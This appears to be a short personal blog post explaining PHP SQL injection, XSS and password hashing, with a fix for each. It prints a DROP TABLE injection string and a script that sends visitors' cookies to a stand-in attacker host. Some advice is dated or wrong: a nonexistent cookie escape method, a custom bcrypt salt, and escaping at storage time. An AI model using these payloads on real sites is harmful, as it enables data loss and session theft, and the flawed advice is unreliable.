PHP security – common vulnerabilities and how to protect your PHP application

I’m preparing myself for an interview to a big payments company so i need to refresh my memory regarding PHP security and common vulnerabilities. So i choose this course on Udemy for it.

SQL injection

SQL injection in PHP apps is accomplished by concatenating strings with specific queries at the already existing queries. Let’s let the code speak for itself:

$con = new PDO('mysql:host=127.0.0.1;dbname=sql_injection', 'root', '');  
$email = $_POST['email'];
//unprotected query
$userQuery = $con->query("SELECT * FROM users WHERE email = '$email'");

As you can see nothing stops the user to post an email like: ‘; DROP TABLE users; —

In this case the table users is deleted. To prepare our app from sql injections we need to use prepared statements. An example would look like:

//protected query 
$userQuery = $con->prepare("SELECT * FROM users WHERE email = :email");
$userQuery->execute([
'email'=> $email
]);

Cross site scripting (XSS)

XSS is based on the idea of injecting client side code (HTML, CSS or most importantly Javascript) into your app through your forms. To avoid this you need to filter your input before inserting it into the database. A golden rule in web programming states: filter input escape output. To test if your forms are protected you can submit the following:

<script>
alert("XSS vulnerability");
</script>

Of course injecting alerts is harmless. But what if the attacker sends the cookie to its website? Imagine:

<script>
document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');
</script>

Now that is bad. With the help of the cookie the attacker can gain privileges on your app. To protect against XSS all you have to do is to filter all input before saving it into the database. For example:

$comment = htmlspecialchars($_POST['comment']);
//database saving logic...

Password hashing

I hope i don’t need to tell you that passwords need to be hashed before inserting them in the database. Nobody should ever save passwords in plain text. The wrong way of doing this is to use a weak hashing algorithm like md5. The proper way of hashing a password is to use a strong algorithm like Bcrypt and a salt. For example:

$options = [     
'salt' => custom_function_for_salt(), //write your own code to generate a suitable salt
'cost' => 12 // the default cost is 10
];

$hash = password_hash($password, PASSWORD_BCRYPT, $options);

To verify the password we can use password_verify which takes two arguments: the password in plain text and the hash (the hash also contains the salt). Example:

if (password_verify($password, $hash)) { 
// Success!
}
else {
// Invalid credentials
}

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.